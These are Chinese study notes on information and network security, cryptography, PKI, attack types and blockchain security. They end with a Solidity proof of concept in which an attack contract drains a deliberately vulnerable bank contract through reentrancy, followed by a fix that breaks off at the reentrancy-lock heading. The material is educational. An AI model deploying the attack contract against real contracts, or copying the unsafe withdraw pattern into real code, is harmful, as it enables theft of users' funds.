概述

信息安全,没有公认和统一的定义,但国内外对信息安全的论述大致可以分成两大类:
◆一是指具体的信息系统的安全
◆二是指某一特定信息体系(比如一个国家的金融系统、军事指挥系统等)的安全

网络安全,从本质上讲就是网络上信息的安全,即网络上信息保存、传输的安全,指网络系统的硬件、软件及其系统中的数据受到保护,不受偶然和或者恶意的原因而遭到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。

网络安全应包含4层含义:
◆运行系统安全,即信息处理和传输系统的安全。
◆网络上系统信息的安全,包括用口令鉴别、数据加密等。
◆网络上信息传播的安全,即信息传播后的安全。
◆网络上信息内容的安全,本质是保护用户的利益和隐私。

信息安全或网络安全的特征:
保密性:保密性是指信息不泄漏给非授权的个人、实体和过程,或供其使用的特性。
完整性:完整性是指信息未经授权不能被修改、不被破坏、不被插入、不延迟、不乱序和不丢失的特性。对网络信息安全进行攻击其最终目的就是破坏信息的完整性。
可用性:可用性是指合法用户访问并能按要求顺序使用信息的特性,即保证合法用户在需要时可以访问到信息及相关资产。
可控性:可控性是指授权机构对信息的内容及传播具有控制能力的特性,可以控制授权范围内的信息流向以及方式。
可审查性(抗抵赖性):在信息交流过程结束后,通信双方不能抵赖曾经做出的行为,也不能否认曾经接收到对方的信息。

信息安全服务与目标主要是指保护信息系统,使其没有危险、不受威胁、不出事故。从技术角度来说,信息安全服务与目标主要表现在系统的保密性、完整性、可控性、可靠性、可用性、不可抵赖性等方面

网络信息安全技术需求:
◆网络物理安全
◆网络认证:网络认证是实现网络资源访问控制的前提和依据。作用是标识、鉴别网络资源访问者身份的真实性,防止用户假冒身份访问网络资源。
◆网络访问控制
◆网络安全保密:目的就是防止非授权的用户访问网上信息或网络设备。为此,重要的网络物理实体能够采用辐射干扰机技术,防止通过电磁辐射泄露机密信息。
◆网络安全监测:作用在于发现系统入侵活动和检查安全保护措施的有效性,以便及时报警给网络安全管理员,对入侵者采取有效措施,阻止危害扩散并调整安全策略。
◆网络漏洞评估:络系统中应需配备弱点或漏洞扫描系统,用以检测网络中是否存在安全漏洞。
◆ 防范网络恶意代码:网络是病毒、蠕虫、特洛伊木马等恶意代码传播最好、最快的途径之一。恶意代码危害性极大并且传播极为迅速,网络中一旦有一台主机感染了恶意代码,则恶意代码就完全有可能在极短的时间内迅速扩散,传播到网络上的其他主机,造成信息泄露、文件丢失、机器死机等严重后果。
◆网络安全应急响应:网络安全事件不能完全消除,必须采取一些措施来保障在出现意外的情况下,能恢复网络系统的正常运转。

网络信息安全策略:
◆威严的法律:安全的基石是社会法律、法规和手段,即通过建立与信息安全相关的法律、法规,使非法分子慑于法律,不敢轻举妄动。
◆先进的技术:先进的技术是信息安全的根本保障。
◆严格的管理:各网络使用机构、企业和单位应建立相应的信息安全管理办法,加强内部管理,建立审计和跟踪体系,提高整体信息安全意识。

区块链安全的特点:
区块链技术是一种去中心化、不可篡改、可追溯的分布式账本技术,通过共识机制加密算法实现数据的可信共享与安全存储。

信息安全与区块链安全的关系:
◆信息安全与区块链安全有着共同的目标,即保护数据的机密性、完整性和可用性。
◆区块链技术为信息安全提供了新的解决方案和思路
◆信息安全概念的普及和实践对区块链安全的发展也起到了积极的促进作用

密码学基础

密码学的英语单词是 Cryptograghy。(在web3经常出现的crypto指的是加密货币)
1949年,香农发表了著名论文 “密码体制的通信理论”。将密码推向科学轨道。
20世纪70年代:Diffie和Hellman提出了公钥密码学的概念,标志着非对称加密时代的开始。这一时期,出现了第一个公钥加密算法——RSA

一个完整的保密通信系统由密码体制(包括密码算法以及所有可能的明文、密文和密钥)、信源、信宿和攻击者构成。

一个好的密码体制至少满足两个条件:
已知明文 p 和加密密钥 k_e 时,计算 c=E_k_e(p) 容易;
在不知道解密密钥 k_d 时,由密文 c 推知明文 p 相当困难。

密码体制,是指一组规则、算法、函数或程序,使保密通信双方能够正确地、容易地进行加密和解密。

  • 按加密和解密密钥是否相同:对称加密体制、非对称加密体制;
  • 按历史发展:古典密码体制(如凯撒密码、维吉尼亚密码)、现代密码体制(如 AES、RSA);

对称密码体制的优缺点
优势:加、解密处理速度快;保密度高。
劣势:密钥分发困难;密钥管理困难;无法源认证。
非对称密码体制的优缺点
优势:密钥分发简单;密钥管理便捷;可以实现签名
劣势:加密、解密处理速度较慢;保密度相对较低

关于密钥

现代密码学研究中,加解密算法一般都是公开的,所有的密码技术都依赖于密钥。当密码算法确定后,密码系统的保密程度就完全取决于密钥的保密程度

密钥的类型和组织结构

在一个密码系统中,按照加密的内容不同,密钥可以分为一般数据加密密钥(会话密钥)密钥加密密钥主密钥

◆会话密钥(Session Key),指两个通信终端用户一次通话或交换数据时使用的密钥。它位于密码系统中整个密钥层次的最低层,仅对临时的通话或交换数据使用。
会话密钥若用来对传输的数据进行保护则称为数据加密密钥;若用作保护文件则称为文件密钥,若供通信双方专用就称为专用密钥。
会话密钥大多是临时的、动态的,一次一密

◆密钥加密密钥是为了保证两点间安全传递会话密钥或下层密钥而设置的,处在密钥管理的中间层次。在对称密码体制中,任两个节点间的密钥加密密钥却是相同的;在公钥密码体制的系统中,所有用户都拥有公、私钥对,会话密钥的传递可以用接收方的公钥加密来进行,接收方用自己的私钥解密,从而安全获得会话密钥。

◆主密钥位于密码系统中整个密钥层次的最高层,主要用于对密钥加密密钥、会话密钥或其它下层密钥的保护。

从信息安全的角度看,密钥的生存期越短,破译的可能性就越小,所以,理论上一次一密钥最安全。

在实际应用中,尤其是在网络环境下,多采用层次化的密钥管理结构。通常下一层的密钥由上一层密钥按照某种密钥算法生成,因此,掌握了主密钥,就有可能找出下层的各个密钥

密钥管理技术

密钥管理涉及密钥的产生和存储、分发、使用、更新/替换、备份和恢复、以及撤销和销毁等,涵盖了密钥的整个生存周期。

密钥长度足够长是保证安全通信的必要条件之一。密钥的生成一般与生成的算法有关,大部分密钥生成算法采用随机或伪随机过程来产生随机密钥

常用的密钥分配技术:静态分配技术和动态分配技术。
静态分配技术是一种由中心以离线方式预分配的技术,是 “面对面” 的分发,如到银行领取信用卡密钥,它具有安全性好的特点,是长期沿用的传统密钥管理技术,不过,它必须解决密钥的存储技术,静态分发只能以集中式机制存在
动态分配技术是一种 “请求—分发” 的在线分发技术,如在网上申请用户密钥,它具有方便、及时的特点,但这种分配技术需要有专门的协议的支持,动态分配技术可采用有中心或无中心的机制。

密钥分配体制:集中式密钥分配体制和分布式密钥分配体制。
集中式分配体制是引入一个中心服务器(即密钥分配中心,KDC)。在这个体系中,团体中的任何一个实体与中心服务器共享一个密钥。它的典型代表是Kerboros协议。

例:A希望与B建立一个逻辑连接,并且需要一次性会话密钥来保护经过这个连接传输的数据,具体过程如下:

(1)A→KDC:IDA∥IDB∥N1

  • A 的身份标识(ID_A)
  • B 的身份标识(ID_B)
  • 一个随机数 / 时间戳N1(防止重放攻击)
    作用:告诉 KDC“我是 A,我要和 B 通信,请帮我分配会话密钥”。

(2)KDC→A:EKa[Ks∥IDA∥IDB∥N1∥EKb[Ks∥IDA]]
KDC 生成会话密钥并加密响应。它会做两件事:

  1. 生成会话密钥KS​:为 A 和 B 生成一个临时的会话密钥。
  2. 加密两份信息
    • 用 A 的主密钥KA​加密:内容包含KS​、B 的标识(ID_B)、A 的标识(ID_A)、N1等。
    • 用 B 的主密钥KB​加密:内容包含KS​、A 的标识(ID_A)(这个加密包称为 “票据”)。
      然后 KDC 将这两份加密信息一起发送给 A

(3) A→B:EKb[ Ks∥IDA]
A 收到 KDC 的响应后,用自己的主密钥KA​解密,得到会话密钥KS​,以及 KDC 用 B 的主密钥加密的 “票据”。
不过,A 无法解密这个票据(因为它是用 B 的主密钥KB​加密的),所以 A 直接将这个票据转发给 B。

(4)B→A:EKs[ N2]
B用主密钥加密另一个随机数N2,并将加密结果发送给A,并告诉A,B当前是可以通信的。

(5)A→B:EKs[f(N2)]
A响应B发送的信息N2,并对N2进行某种函数变换(如f函数),同时用会话密钥Ks进行加密,发送给B。

实际上在第(3)步已经完成了密钥的分配,第(4)(5)两步结合第(3)步执行的是认证功能,使B能够确认所收到的信息不是一个重放。

分布式分配体制中网络中的主机具有相同的地位,他们之间的密钥分配取决于他们之间的协商,这种密钥分配方案要求有n个通信方的网络需要保存[n(n-1)/2]个主密钥,对于较大型的网络,这种方案是不适用的,但是在一个小型网络或一个大型网络的局部范围内,这中方案还是有用的。比较著名的有Diffie-Hellman密钥交换协议,但Diffie-Hellman密钥交换协议没有提供鉴别机制,不能抵抗中间人攻击。

例:通信双方A和B建立会话密钥的过程包括以下过程

(1)A→B:IDA∥N1
A向B发出一个请求,内容包括A的标识符IDA和一个一次性随机数N1,告诉B说A希望与B通信,并请B产生一个会话密钥用于安全通信。
(2)B→A:EMKm[Ks∥IDA∥IDB∥f(N1)∥N2]
B使用与A共享的主密钥MKm对应答的信息进行加密并发送给A。
(3)A→B:EKs[f(N2)]
A使用B产生的会话密钥Ks对f(N2)进行加密,并发送给B。

数字签名与认证技术

哈希函数

在区块链中,消息摘要(Message Digest) 是通过哈希函数(杂凑函数) 对任意长度的原始数据(如交易信息、区块内容)计算得到的固定长度、唯一的字符串,也常被称为哈希值摘要值

哈希函数(杂凑函数)的安全性是指在现有的计算资源下,找到一个碰撞是不可能的。哈希函数在网络安全应用中,不仅能用于保护消息或文件的完整性,而且也能用作密码信息的安全存储。

数字签名

数字签名(Digital Signature)是手写签名的电字模拟,是通过电子信息计算处理,产生的一段特殊字符串消息,该消息具有与手写签名一样的特点,是可信的、不可伪造的、不可重用的、不可抵赖的以及不可修改的

一个数字签名方案一般由签名算法验证算法组成。签名算法的密钥是秘密的,只有签名人掌握;而验证算法则是公开的,以便他人验证。典型的数字签名方案有RSA签名体制、ElGamal签名体制。

签名到底是什么意思?
签名与加密很相似,一般是签名者利用秘密密钥(私钥)对需签名的数据进行加密,验证方利用签名者的公开密钥(公钥)对签名数据做解密运算。签名与加密的不同之处在于,加密的目的是保护信息不被非授权用户访问,而签名的目的是让消息接收者确信信息的发送者是谁,信息是否被他人篡改
◆数字签名流程(图源:March)

还有一种具有仲裁方式的数字签名:将信息及其签名先发给仲裁者C,C对信息及其签名验证完成后,再连同一个表示已通过验证的指令一起发往收方B。

数字证书

数字证书又称为数字标识(Digital Certificate,Digital ID),它提供了一种在网络上身份验证的方式,是用来标志和证明网络通信双方身份的数字信息文件。数字证书是由权威公正的第三方机构即CA中心签发的。以数字证书为核心的加密技术可以对网络上传输的信息进行加密和解密、数字签名和签名验证,确保网上传递信息的机密性、完整性,以及交易实体身份的真实性,签名信息的不可否认性,从而保障网络应用的安全性。

数字证书采用公钥密码体制,即利用一对互相匹配的密钥进行加密、解密

◆加密传输流程
每个用户拥有一把仅为本人所掌握的私钥,用它进行解密和签名;同时拥有一把公钥,并可以对外公开,用于加密和验证签名。当发送一份保密文件时,发送方使用接收方的公钥对数据加密而接收方则使用自己的私钥解密,这样,信息就可以安全无误地到达目的地了,即使被第三方截获,由于没有相应的私钥,也无法进行解密。通过数字的手段保证加密过程是一个不可逆过程,即只有用私钥才能解密。

场景 用法 目的
数字签名 私钥加密摘要(签名)→ 公钥解密验签 证明消息 “是谁发的 + 没被改”
加密传输 公钥加密消息 → 私钥解密消息 保证消息 “只有接收方能看懂”

目前有多种格式的数字证书:X.509、PGP、X9.59等,其中X.509应用最为广泛。

一个证书的生命周期主要包括三个阶段,即证书初始化注册阶段、颁发投入工作阶段和撤消阶段。

认证技术

认证(Authentication)是指核实真实身份的过程。

◆分类:
(1)单向认证:在网络服务认证过程中,服务方对客户方进行单方面的鉴别,而客户方不需要识别服务方的身份。
(2)双向认证:在网络服务认证过程中,不仅服务方对客户方要进行鉴别,而且客户方也要鉴别服务方的身份。(多了最后三步)
(3)第三方认证:在网络服务认证过程中,服务方和客户方的身份鉴别通过第三方来实现。

◆双向认证示意图:

◆认证实现技术:静态密码、短信密码、动态口令牌、数字签名、生物识别技术、双因素身份认证、身份的零知识证明…

◆Kerberos技术
Kerberos的基本原理是利用对称密码技术,使用可信的第三方来认证服务器的用户身份,并在用户和服务器之间建立安全信道。

Kerberos 的设计目标:
1.安全性:能够有效防止攻击者假扮成另一个合法的授权用户。
2.可靠性:分布式服务器体系结构,提供相互备份。
3.对用户透明性
4.可伸缩:能够支持大数量的客户和服务器。

Kerberos工作流程:
◆第一步,Kerberos客户向认证服务器AS申请票据TGT
◆第二步,当认证服务器AS收到Kerberos客户发来的消息后,AS在认证数据库检查、确认Kerberos客户,并产生一个会话密钥和票据TGT
◆第三步,Kerberos客户收到AS 发来的TGT后,使用自己的秘密密钥进行解密,得到会话密钥。然后利用解密的信息重新构造认证请求单,向TGS发送请求,申请访问应用服务器所需要的票据(Ticket)
◆第四步,将解密后的认证单信息与TGT中的信息进行比较。然后,TGS生成新的会话密钥以供Kerberos客户和应用服务器使用,并利用各自的秘密密钥加密会话密钥。最后,生成一个票据TGT发送给Kerberos客户,它由Kerberos客户实体名、地址、时间戳、限制时间、会话密钥组成。
豆包讲工作流程:https://www.doubao.com/thread/w0cad1f3d04dc9f09

PKI技术

PKI(Pubic Key Infrastructure)即公钥基础设施,PKI是用公钥技术实施的,支持公钥的管理,并提供保密性、完整性、真实性以及可追究性安全服务的具有普适性的安全基础设施。

PKI在公钥密码基础上,主要解决密钥属于谁,即密钥认证的问题。

PKI系统

一个典型的PKI系统包括PKI策略、软硬件系统、证书机构CA、注册机构RA、证书发布系统和PKI应用等。


PKI提供了以下几种主要安全服务:
1.认证->数字签名
2.完整性->数字签名/消息认证码
3.机密性->密钥协商/分配
4.不可否认性->数字签名

数字证书是PKI最基本的元素,也是承载PKI安全服务的最重要的载体。

数字证书的认证过程

  1. 证书拆封验证发行者CA的公钥能否正确解开客户实体——证书中的“发行者的数字签名”,即证明该证书是否为可信任的第三方CA机构所签发。如果能正确解开,输出结果即为用户的公钥,那么,这个签名被验证是正确的。因为它证明了这个证书是由权威的、可信任的认证机构所签发。
  2. 序列号验证:检查实体证书中的签名实体序列号是否与签发者证书的序列号相一致,从而验证证书的真伪。
  3. 有效期验证检查用户证书使用的日期是否合法,有无过期。若超过CA证书有效期,交易是不安全的,实体证书应作废。
  4. 撤销列表查询:检查用户的证书是否已经作废,并发布在证书撤销列表中。一般称CRL查询,俗称“黑名单查询”。

交叉认证

PKI在全球互通可以有两种实现途径:
1.PKI体系的根CA交叉认证。
2.建立一个全球性的统一根CA,为各PKI体系的根证书颁发证书。这种方式是将不同的PKI体系组织在同一个全球根CA之下,这个全球CA可由一个国际组织,如联合国等来建设。考虑到各个PKI体系管理者一般都希望能保持本体系的独立自治性,全球统一根CA实现起来有一些具体的困难,所以,PKI体系之间的互通性一般用交叉认证来实现。

交叉认证是PKI中信任模型的概念。它是一种把以前无关的CA连接在一起的有用机制,从而使得它们在各自主体群之间实现安全通信。交叉认证的实际构成方法就是具体的交换协议报文。

PKI应用

1.虚拟专用网络(VPN)
它是一种架构在公用通信基础设施上的专用数据通信网络,利用网络层安全协议(尤其是IPSec)和建立在PKI上的加密与签名技术来获得私有性。
2.安全电子邮件
安全电子邮件的目标是解决“内容可被偷看、内容可被篡改、发件人可被冒充”三大难题。安全电子邮件的典型协议(比如 S/MIME),本质都是基于 PKI 体系设计的。
3.Web安全——PKI 与 SSL
SSL核心作用是在客户端(浏览器)和服务器之间建立一条加密的安全通道,防止 Web 通信中的数据被窃听、篡改、冒充 —— 这也是 HTTPS 比 HTTP 安全的根本原因(HTTPS = HTTP + SSL)。
利用PKI技术,服务器和客户端都对对方的证书进行验证,同时客户端生成会话密钥和选择消息摘要算法,利用服务器端的公钥加密会话密钥,传送给服务器,这样SSL协议就允许在浏览器和服务器之间进行加密通信。

网络攻击与防御技术

计算机病毒

计算机病毒是一种恶意软件,可以通过感染计算机系统并在其中复制自身来破坏计算机系统、窃取信息或进行其他恶意活动。
◆文件感染型病毒(感染可执行文件)
◆引导型病毒(感染引导扇区)
◆宏病毒(感染应用程序的宏功能)
◆逻辑炸弹(一种预设条件触发的恶意代码)
◆蠕虫(一种自我复制并通过网络传播的病毒)
◆特洛伊木马(一种伪装成正常或有用程序)
◆Rootkit(植入系统内核或应用程序中的一种恶意软件,目的是隐藏自身活动,绕过系统安全控制)
◆勒索软件(一种加密文件然后勒索用户赎金的恶意软件)
◆下载器病毒(感染电子邮件附件、恶意链接、在线广告或软件下载等,其主要功能是下载并安装其他恶意软件、病毒或间谍软件到受感染的计算机系统中。)
◆漏洞利用

目前计算机病毒发展趋势:
1.AI和机器学习
2.指向性攻击(攻击可能会采用APT攻击)
3.IoT和移动设备攻击
4.加密货币挖矿病毒(这种病毒会利用感染的计算机资源来挖掘加密货币,占用系统性能和资源。)
5.社交工程和钓鱼攻击(伪装诱导用户点击和下载)
6.漏洞

漏洞

漏洞根据其来源或性质进行分类:系统漏洞、网络漏洞、应用漏洞、物理漏洞、人为漏洞。

系统漏洞——Web漏洞:XSS跨站脚本、SQL注入、CSRF跨站请求伪造、SSRF、文件上传漏洞(非法用户可以利用上传的恶意脚本文件控制整个网站)、命令执行、逻辑漏洞。

扫描

扫描:IP扫描(Ping扫描)、端口扫描、漏洞扫描。
端口扫描可以分为TCP扫描和UDP扫描,TCP端口扫描即三次握手。

嗅探方法

几种在交换网络中实现的嗅探方法:
1.MAC洪泛
向交换机发送大量含有虚构的MAC地址和IP地址的包,使交换机无法处理如此多的信息,致使交换机进入了所谓的“打开失效”模式,也就是开始了类似于集线器的工作方式,向网络上所有机器广播数据包。
2.MAC欺骗
攻击者通过将源MAC地址伪造为目标主机的源MAC地址,并将这样的数据包通过交换机发送出去,使得交换机不断的更新MAC—端口映射表,从而让交换机相信攻击者主机的MAC就是目标主机的MAC,交换机就会把本应发送给目标主机的数据包发送给攻击者。
3.ARP欺骗
攻击者通过对网关和目标主机进行ARP欺骗,就可以截获两者之间的通信数据,实现嗅探的目的。

恶意代码及防范技术与漏洞挖掘技术

恶意代码

恶意代码是指能够引起计算机故障,破坏计算机数据,影响计算机系统的正常使用的程序、代码或一组指令。

基本特征:
1.恶意性:以破坏、窃取、控制为目的
2.可执行性:是一段可以执行的程序
3.隐蔽性:通常隐藏自身,不易被发现
4.潜伏性:可能在系统中潜伏一段时间后才发作
5.自我复制性:能够自我复制(病毒、蠕虫等)

恶意代码的命名规则:<病毒前缀>.<病毒名>.<病毒后缀>
1.病毒前缀是指一个病毒的种类
2.病毒名是指一个病毒的家族特征,是用来区别和标识病毒家族的。
3.病毒后缀是指一个病毒的变种特征,是用来区别具体某个家族病毒的某个变种的。

恶意代码的生命周期
1.设计期:用编程语言制造一个恶意代码
2.传播期:通过不同的途径散布和侵入受害系统中
3.感染期:找到自己依附或隐藏的宿主,并实施依附或隐藏
4.触发期:满足触发条件时,恶意代码进入运行期
5.运行期:恶意代码的恶意目的得以展现
6.消亡期:恶意代码被检测出来,并应用相应的手段进行处理。

恶意代码传播主要是通过复制文件、传送文件、运行程序等方式进行。

◆分析方法
1.静态分析法(不执行恶意代码的情况下分析)
2.动态分析法(通过检测恶意代码执行的过程来分析)

在实际应用中,一般将恶意代码分析方法分成三类:基于代码特征的分析方法、基于代码语义的分析方法、基于代码行为的分析方法。

◆检测方法
1.基于特征码的检测法
2.基于行为的检测法

漏洞

许多安全漏洞是程序错误导致的,此时可叫做安全缺陷,但并不是所有的安全隐患都是程序安全缺陷导致的。

POC (Proof of concept)是对某些想法的一个较短而不完整的实现,以证明其可行性,示范其原理,其目的是为了验证一些概念或理论。概念验证通常被认为是一个有里程碑意义的实现的原型 。

零日漏洞 (zero-day vulnerability、0-day vulnerability)通常是指还没有补丁的安全漏洞,而零日攻击(zero-day exploit、zero-day attack)则是指利用这种漏洞进行的攻击。

一句话:一个软件 / 系统的 “致命缺陷”,开发者还没发现、没修复,黑客却已经知道并开始利用了。

  • 源代码:程序员写的人类能看懂的代码(比如 Rust 的 .rs 文件、C 的 .c 文件);
  • 目标代码:源代码编译后生成的机器能看懂的二进制文件(比如 Windows 的 .exe、Linux 的 .bin、手机的 .apk 里的执行文件)。

◆大多数商业软件的源代码很难获得,一般只有一些开源系统能为挖掘者提供源码,如LINUX系统,所以目前基于源代码的挖掘一般都是LINUX系统及其开源软件
◆对于不能提供源码的系统或软件而言,只能采用基于目标代码的漏洞挖掘方法(也叫二进制漏洞挖掘),该方法一般涉及程序编译器、计算机硬件指令系统、可执行文件格式等方面的分析技术,实现难度较大。

WEB漏洞 :通常是指网站程序上的漏洞,可能是由于代码编写者在编写代码时考虑不周全等原因而造成的漏洞,常见的WEB漏洞有Sql注入、Xss漏洞、文件上传漏洞等。

漏洞挖掘的一般流程:
1.信息收集:子域名枚举、C段扫描、移动设备资产、HTTPS证书、备案号
2.端口扫描:使用nmap等工具扫描开放端口
3.目录爆破:使用DirBuster、御剑等工具扫描Web目录
4.漏洞探测:使用AWVS、xray等工具自动化扫描
5.漏洞验证:手动验证漏洞是否存在
6.漏洞利用:构造POC(Proof of Concept)验证漏洞

黑盒测试指把被测试目标看做一个黑盒子,对于内部结构、运作情况是不可见的模拟黑客的攻击行为,找出目标点存在的漏洞

对比维度 黑盒测试 白盒审计
核心视角 外部视角(像黑客一样,看不到源码) 内部视角(像开发者一样,能看源码)
测试方式 输入异常数据,看输出结果找漏洞 通读代码逻辑,直接找设计缺陷

区块链攻击与防御


6.应用层 -> 用户交互
5.合约层 -> 程序自动化 -> 合约漏洞、合约虚拟机漏洞
4.激励层 -> 系统维护激励
3.共识层 -> 数据一致性,授权/非授权 ->女巫攻击、51%攻击
2.网络层 -> 节点通信与数据传输 -> 主要是针对 P2P 网络的恶意攻击
1.数据层 -> 区块链数据存储 -> 数据隐私窃取和恶意数据攻击

在实际的区块链攻击场景中,攻击者发起攻击旨在非法获取最大化的利益,但并不是所有的区块链攻击方式都可以使攻击者直接获利。此外,部分区块链攻击对实施场景和条件要求过高,使得其可行性受到了严重的制约。因此,攻击者通常采用一系列跨层级的区块链攻击方式来实现最大化的获利目的,这种攻击序列为攻击簇

共识层攻击

共识层是区块链技术体系的核心架构,其中的共识算法可以保证全网节点在去信任化的场景中对分布式账本数据达成共识,为区块链的去中心化、信任化提供了保障
共识层面临的安全威胁主要是,攻击者可以通过各种手段阻止全网节点达成正确的共识。在授权共识机制中,各节点对共识过程的影响相同,所以易遭受女巫攻击;而在非授权共识机制中,各对等节点利用自身所持资源(如算力、权益)竞争记账权,进而达成共识。投入的资源越多,则成功率越高,因此易遭受51%攻击。攻击者可能出于利益目的,通过贿赂攻击、币龄累计攻击等方式非法获取大量资源,从而发起51%攻击,以实现代币双花、历史修复、期货卖空、自私挖矿等目的。此外,攻击者还可以通过无利害关系攻击、预计算攻击等方式影响全网共识进程,进而获利。

共识机制 核心特点 最怕的攻击 攻击后果
授权共识 节点平等,一人一票 女巫攻击(假节点充数) 少数人操控投票结果
非授权共识 资源越多,话语权越大 51% 攻击(垄断资源) 篡改交易、双花代币牟利

Sybil Attack(女巫攻击)对区块链网络的攻击方式:
1.虚假节点接入
2.误导区块链节点的路由选择
3.虚假资源发布

对比维度 短程 51% 攻击 长程 51% 攻击
攻击范围 只针对本轮记账权 针对整条区块链的历史和未来
核心操作 垄断单次记账,乱记账 / 卡交易 私下造更长的假链,替换主链
典型危害 临时交易阻塞、垄断单次奖励 双花攻击、篡改历史记录
攻击成本 较低(只需本轮超过 50% 资源) 极高(要持续算更长的链,耗资源)

在实际的区块链网络中,攻击者可能将51%攻击作为一种子攻击,进而实现其他攻击
比如双花攻击、历史修复攻击、卖空攻击、自私挖矿攻击。

双花攻击可以用短程51%攻击实现吗?
不可以。双花攻击的核心需求是必须删除已经上链的交易记录,还要让全网承认 “这笔交易没发生过”—— 这需要篡改历史账本,不是 “临时垄断一次记账权” 就能搞定的。

网络层攻击

区块链网络是由P2P网络构建,P2P网络主要涉及用户客户端和对等网络结构,P2P网络的攻击可能针对这几个方面展开如下攻击:
(1)客户端漏洞
(2)窃听攻击
(3)日蚀攻击(eclipse attack):攻击者通过特定手段使得目标节点只能获得被操纵的、伪造的网络视图,将其从实际的网络视图中隔离出来,从而妨碍目标节点正常运转,以达成特定的攻击目的。攻击者操纵多个对等节点与目标节点保持长时间的传输连接,使其在线链接数达到目标节点的入站连接上限,从而阻止其他合法节点的连接请求。此时,目标节点被攻击者从P2P网络中“隔离”出来,导致目标节点无法正常维护区块链账本。

一句话:把目标节点关进小黑屋,只给它看假数据。

(4) Eclipse攻击是指攻击者通过侵占节点的路由表,将足够多的虚假节点(sybil 节点)添加到某些节点的邻居节点集合中,从而将这些节点“隔离”于正常区块链网络之外。

(5)拒绝服务攻击(Dos攻击),攻击者利用大量网络资源攻击计算机系统或网络,使其停止响应甚至崩溃,从而拒绝服务。实际中,用户节点资源通常受限,攻击者只能通过分布式DoS攻击(简称DDoS)整合零散网络带宽来实施DoS攻击。

合约层攻击

(1)整数溢出漏洞:智能合约代码中,整数型变量都存在上限或下限,当变量存储的数值超过上限则称为整数上溢,超过下限则称为整数下溢。当一个整数变量发生溢出时,可能会从一个很大的数变成很小的数或者从一个很小的数变成很大的数。利用这个漏洞,攻击者通常通过输入异常参数致使整数溢出,从而达到修改地址指针,实现代码异常调用的目的。
(2)重入攻击:攻击者针对智能合约代码的重入漏洞发起的攻击,可导致两个智能合约发生循环调用

隐私威胁保护

同态加密

(1)同态加密是一种公钥加密算法,加密使用公钥pk,解密使用私钥sk。
(2)密文具有计算功能,无需解密就能对加密数据进行处理,处理过程不会泄露任何原始内容,拥有密钥的用户解密后可以得到处理后的结果。
(3)使用同态加密技术,运行在区块链上的智能合约可以处理密文,而无法获知真实数据,极大地提高了隐私安全性。
挑战:性能开销、密文长度扩张、 可扩展性、密钥管理。

零知识证明

指的是证明者能够在不向验证者提供任何有用的信息的情况下,使验证者相信某个论断是正确的。
零知识,即在证明的过程中不透露任何内情。通俗的来讲,就是既证明了自己想证明的事情,同时透露给验证者的信息为“零”。

特点:
(1)隐私保护:零知识证明允许在不泄露敏感信息的前提下向他人证明某个主张的真实性,从而保护了个人的隐私和数据安全。
(2)不可伪造性:零知识证明要求证明者以一种无法被伪造的方式向验证者证明某个主张的真实性,确保了证明的可靠性和完整性。
(3)交互式验证:零知识证明通常需要证明者和验证者之间进行多轮的交互式通讯和计算,以确认证明的有效性。

环签名技术

环签名通过将实际签名者的公钥藏进一个公钥集合,来达到保护签名者身份的目的。

  1. 匿名性保护。环签名可以防止交易链上的身份追踪。
  2. 数据隐私保护。环签名可以保护交易内容的机密性。
  3. 抗审查性保护。环签名可以防止审核和审查。
  4. 信任建立。环签名可以建立信任。

隐私威胁

区块链作为一种分布式账本技术,其核心特性之一是数据的安全性和透明性。然而,它仍然面临着一些隐私威胁。

  1. 交易信息隐私泄露。区块链上的交易信息,如发送者、接收者和交易金额,可能会被泄露。为了保护这些信息,可以采用混币、环签名和机密交易等技术。
  2. 智能合约隐私漏洞。智能合约可能存在漏洞,如果被黑客利用,可能会导致系统崩溃或交易数据泄露。为了防范这一风险,可以采用零知识证明、多方安全计算、同态加密等技术来保护合约数据。
  3. 链上数据隐私泄露。区块链上的交易数据虽然与用户身份信息分离,但仍有可能通过分析交易模式来追踪用户的身份。为了进一步保护隐私,可以采用账本隔离、私有数据和数据加密授权访问等解决方案。

用户身份隐私主要是指交易双方的地址信息,其本质是双方公钥的哈希值。最常用的解决方案主要是混币机制,也就是将多笔交易混合在一起,切断加密货币中交易方与接收方的联系,提高加密货币的隐私性和匿名性。

大一链安漏洞了解

1.重入攻击(Reentrancy)

漏洞原理

重入攻击多发生在涉及 “转账 + 余额记录” 的合约中,它利用合约调用外部合约时,外部合约可能会再次调用目标合约的函数,从而导致合约状态被反复修改。
核心原因是合约在转账后才更新用户余额,导致攻击者可在余额更新前多次触发提款逻辑,直到合约余额被耗尽。

典型案例

The DAO 攻击事件:这是区块链史上最著名的重入攻击。一个名为 “The DAO” 的去中心化自治组织(类似去中心化基金)被黑客利用重入漏洞,盗走了约 5000 万美元的 ETH。最终以太坊通过 “硬分叉” 回滚交易才解决,也因此分裂出以太坊(ETH)和以太坊经典(ETC)。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank{
    mapping (address=>uint256)public balances;

    //存钱
    function deposit()public payable{
        balances[msg.sender]+=msg.value;
    }

    //取款
    function withdraw() public{
        uint256 amount=balances[msg.sender];
        require(amount>0,"Insufficient balance");
        (bool sucess, )=msg.sender.call{value:amount}("");
        require(sucess,"Transfer failed");
        balances[msg.sender]=0;
    }
}



contract AttackContract{
    VulnerableBank public bank;

    constructor(address _bank){
        bank=VulnerableBank(_bank);
    }

    receive()external payable{
        if(address(bank).balance>=1 ether){
            bank.withdraw();
        }
    }


    function attack()public payable{
        bank.deposit{value:1 ether}();//假装存1ETH
        bank.withdraw();//假装取走自己的1ETH:自动触发攻击合约里的fallback函数:再次调用withdraw函数...
    }

    function getbalance() public view returns(uint256){
        return address(this).balance;
    }
}

测试流程:第一步,先部署VulnerableBank合约,模拟一个普通用户存入2ether;第二步,部署AttackContract合约(传入VulnerableBank合约地址);第三步,攻击者携带1ether调用AttackContract合约里的attack()函数。

如何预防重入攻击?

  1. 遵循 Checks-Effects-Interactions 模式
1
2
3
4
5
6
7
function withdraw()public{
      uint256 amount=balances[msg.sender];
      require(amount>0,"Insufficient balance");
    balances[msg.sender]=0;//先更新余额
      (bool sucess, )=msg.sender.call{value:amount}("");
      require(sucess,"Transfer failed");//再转账
    }

这样一来,攻击者第一次取钱后,余额已经是 0,就算fallback()再调用withdraw(),银行会检查到 “余额为 0”,拒绝转账。

  1. 加重入锁(Reentrancy)
1
2
3
4
5
6
7
8
9
10
11
